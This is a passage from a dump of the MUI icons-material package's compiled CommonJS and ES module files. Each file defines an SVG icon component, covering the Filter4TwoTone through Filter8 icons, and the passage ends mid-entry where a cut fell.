    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H7v14h14zm-4 12h-2v-4h-4V5h2v4h2V5h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 23h16v-2H3V5H1v16c0 1.1.9 2 2 2m4-4h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2M7 3h14v14H7zm8 6h-2V5h-2v6h4v4h2V5h-2z\"\n}, \"1\")], 'Filter4TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter4TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H7v14h14zm-4 12h-2v-4h-4V5h2v4h2V5h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 23h16v-2H3V5H1v16c0 1.1.9 2 2 2m4-4h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2M7 3h14v14H7zm8 6h-2V5h-2v6h4v4h2V5h-2z\"\n}, \"1\")], 'Filter4TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter5.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 1H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14zM3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm14 8v-2c0-1.11-.9-2-2-2h-2V7h4V5h-6v6h4v2h-4v2h4c1.1 0 2-.89 2-2\"\n}), 'Filter5');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter5.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 1H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14zM3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm14 8v-2c0-1.11-.9-2-2-2h-2V7h4V5h-6v6h4v2h-4v2h4c1.1 0 2-.89 2-2\"\n}), 'Filter5');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter5Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 1H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14zM3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm14 8v-2c0-1.11-.9-2-2-2h-2V7h4V5h-6v6h4v2h-4v2h4c1.1 0 2-.89 2-2\"\n}), 'Filter5Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter5Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 1H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14zM3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm14 8v-2c0-1.11-.9-2-2-2h-2V7h4V5h-6v6h4v2h-4v2h4c1.1 0 2-.89 2-2\"\n}), 'Filter5Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter5Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 1H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-1 16H8c-.55 0-1-.45-1-1V4c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1M2 5c-.55 0-1 .45-1 1v15c0 1.1.9 2 2 2h15c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1-.45-1-1V6c0-.55-.45-1-1-1m15 8v-2c0-1.1-.9-2-2-2h-2V7h3c.55 0 1-.45 1-1s-.45-1-1-1h-4c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h3v2h-3c-.55 0-1 .45-1 1s.45 1 1 1h3c1.1 0 2-.9 2-2\"\n}), 'Filter5Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter5Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 1H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-1 16H8c-.55 0-1-.45-1-1V4c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1M2 5c-.55 0-1 .45-1 1v15c0 1.1.9 2 2 2h15c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1-.45-1-1V6c0-.55-.45-1-1-1m15 8v-2c0-1.1-.9-2-2-2h-2V7h3c.55 0 1-.45 1-1s-.45-1-1-1h-4c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h3v2h-3c-.55 0-1 .45-1 1s.45 1 1 1h3c1.1 0 2-.9 2-2\"\n}), 'Filter5Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter5Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 1H5v18h18zm-2 16H7V3h14zM3 5H1v18h18v-2H3zm14 10V9h-4V7h4V5h-6v6h4v2h-4v2z\"\n}), 'Filter5Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter5Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 1H5v18h18zm-2 16H7V3h14zM3 5H1v18h18v-2H3zm14 10V9h-4V7h4V5h-6v6h4v2h-4v2z\"\n}), 'Filter5Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter5TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 17h14V3H7zm4-4h4v-2h-4V5h6v2h-4v2h2c1.1 0 2 .89 2 2v2c0 1.11-.9 2-2 2h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 23v-2H3V5H1v16c0 1.1.9 2 2 2zm-2-10v-2c0-1.11-.9-2-2-2h-2V7h4V5h-6v6h4v2h-4v2h4c1.1 0 2-.89 2-2m4-12H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14z\"\n}, \"1\")], 'Filter5TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter5TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 17h14V3H7zm4-4h4v-2h-4V5h6v2h-4v2h2c1.1 0 2 .89 2 2v2c0 1.11-.9 2-2 2h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 23v-2H3V5H1v16c0 1.1.9 2 2 2zm-2-10v-2c0-1.11-.9-2-2-2h-2V7h4V5h-6v6h4v2h-4v2h4c1.1 0 2-.89 2-2m4-12H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14z\"\n}, \"1\")], 'Filter5TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter6.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm18-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14zm-8-2h2c1.1 0 2-.89 2-2v-2c0-1.11-.9-2-2-2h-2V7h4V5h-4c-1.1 0-2 .89-2 2v6c0 1.11.9 2 2 2m0-4h2v2h-2z\"\n}), 'Filter6');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter6.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm18-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14zm-8-2h2c1.1 0 2-.89 2-2v-2c0-1.11-.9-2-2-2h-2V7h4V5h-4c-1.1 0-2 .89-2 2v6c0 1.11.9 2 2 2m0-4h2v2h-2z\"\n}), 'Filter6');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter6Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm18-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14zm-8-2h2c1.1 0 2-.89 2-2v-2c0-1.11-.9-2-2-2h-2V7h4V5h-4c-1.1 0-2 .89-2 2v6c0 1.11.9 2 2 2m0-4h2v2h-2z\"\n}), 'Filter6Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter6Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm18-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14zm-8-2h2c1.1 0 2-.89 2-2v-2c0-1.11-.9-2-2-2h-2V7h4V5h-4c-1.1 0-2 .89-2 2v6c0 1.11.9 2 2 2m0-4h2v2h-2z\"\n}), 'Filter6Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter6Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 5c-.55 0-1 .45-1 1v15c0 1.1.9 2 2 2h15c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1-.45-1-1V6c0-.55-.45-1-1-1m19-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-1 16H8c-.55 0-1-.45-1-1V4c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1m-7-2h2c1.1 0 2-.9 2-2v-2c0-1.1-.9-2-2-2h-2V7h3c.55 0 1-.45 1-1s-.45-1-1-1h-3c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2m0-4h2v2h-2z\"\n}), 'Filter6Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter6Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 5c-.55 0-1 .45-1 1v15c0 1.1.9 2 2 2h15c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1-.45-1-1V6c0-.55-.45-1-1-1m19-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-1 16H8c-.55 0-1-.45-1-1V4c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1m-7-2h2c1.1 0 2-.9 2-2v-2c0-1.1-.9-2-2-2h-2V7h3c.55 0 1-.45 1-1s-.45-1-1-1h-3c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2m0-4h2v2h-2z\"\n}), 'Filter6Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter6Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5H1v18h18v-2H3zm20-4H5v18h18zm-2 16H7V3h14zm-10-2h6V9h-4V7h4V5h-6zm2-4h2v2h-2z\"\n}), 'Filter6Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter6Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5H1v18h18v-2H3zm20-4H5v18h18zm-2 16H7V3h14zm-10-2h6V9h-4V7h4V5h-6zm2-4h2v2h-2z\"\n}), 'Filter6Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter6TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 17h14V3H7zm4-10c0-1.11.9-2 2-2h4v2h-4v2h2c1.1 0 2 .89 2 2v2c0 1.11-.9 2-2 2h-2c-1.1 0-2-.89-2-2zm2 4h2v2h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 1H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14zm-8-2h2c1.1 0 2-.89 2-2v-2c0-1.11-.9-2-2-2h-2V7h4V5h-4c-1.1 0-2 .89-2 2v6c0 1.11.9 2 2 2m0-4h2v2h-2zM3 23h16v-2H3V5H1v16c0 1.1.9 2 2 2\"\n}, \"1\")], 'Filter6TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter6TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 17h14V3H7zm4-10c0-1.11.9-2 2-2h4v2h-4v2h2c1.1 0 2 .89 2 2v2c0 1.11-.9 2-2 2h-2c-1.1 0-2-.89-2-2zm2 4h2v2h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 1H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14zm-8-2h2c1.1 0 2-.89 2-2v-2c0-1.11-.9-2-2-2h-2V7h4V5h-4c-1.1 0-2 .89-2 2v6c0 1.11.9 2 2 2m0-4h2v2h-2zM3 23h16v-2H3V5H1v16c0 1.1.9 2 2 2\"\n}, \"1\")], 'Filter6TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter7.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm18-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14zm-8-2 4-8V5h-6v2h4l-4 8z\"\n}), 'Filter7');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter7.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm18-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14zm-8-2 4-8V5h-6v2h4l-4 8z\"\n}), 'Filter7');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter7Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm18-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14zm-8-2 4-8V5h-6v2h4l-4 8z\"\n}), 'Filter7Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter7Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm18-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14zm-8-2 4-8V5h-6v2h4l-4 8z\"\n}), 'Filter7Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter7Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 5c-.55 0-1 .45-1 1v15c0 1.1.9 2 2 2h15c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1-.45-1-1V6c0-.55-.45-1-1-1m19-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-1 16H8c-.55 0-1-.45-1-1V4c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1m-6.75-2.49 3.58-7.17c.11-.22.17-.47.17-.72 0-.9-.72-1.62-1.62-1.62H12c-.55 0-1 .45-1 1s.45 1 1 1h3l-3.36 6.71c-.3.59.13 1.29.8 1.29h.01c.34 0 .65-.19.8-.49\"\n}), 'Filter7Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter7Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 5c-.55 0-1 .45-1 1v15c0 1.1.9 2 2 2h15c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1-.45-1-1V6c0-.55-.45-1-1-1m19-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-1 16H8c-.55 0-1-.45-1-1V4c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1m-6.75-2.49 3.58-7.17c.11-.22.17-.47.17-.72 0-.9-.72-1.62-1.62-1.62H12c-.55 0-1 .45-1 1s.45 1 1 1h3l-3.36 6.71c-.3.59.13 1.29.8 1.29h.01c.34 0 .65-.19.8-.49\"\n}), 'Filter7Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter7Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5H1v18h18v-2H3zm20-4H5v18h18zm-2 16H7V3h14zm-8-2 4-8V5h-6v2h4l-4 8z\"\n}), 'Filter7Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter7Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5H1v18h18v-2H3zm20-4H5v18h18zm-2 16H7V3h14zm-8-2 4-8V5h-6v2h4l-4 8z\"\n}), 'Filter7Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter7TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 17h14V3H7zm4-10V5h6v2l-4 8h-2l4-8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 23h16v-2H3V5H1v16c0 1.1.9 2 2 2m10-8 4-8V5h-6v2h4l-4 8zm8-14H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14z\"\n}, \"1\")], 'Filter7TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter7TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 17h14V3H7zm4-10V5h6v2l-4 8h-2l4-8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 23h16v-2H3V5H1v16c0 1.1.9 2 2 2m10-8 4-8V5h-6v2h4l-4 8zm8-14H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14z\"\n}, \"1\")], 'Filter7TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter8.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm18-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14zm-8-2h2c1.1 0 2-.89 2-2v-1.5c0-.83-.67-1.5-1.5-1.5.83 0 1.5-.67 1.5-1.5V7c0-1.11-.9-2-2-2h-2c-1.1 0-2 .89-2 2v1.5c0 .83.67 1.5 1.5 1.5-.83 0-1.5.67-1.5 1.5V13c0 1.11.9 2 2 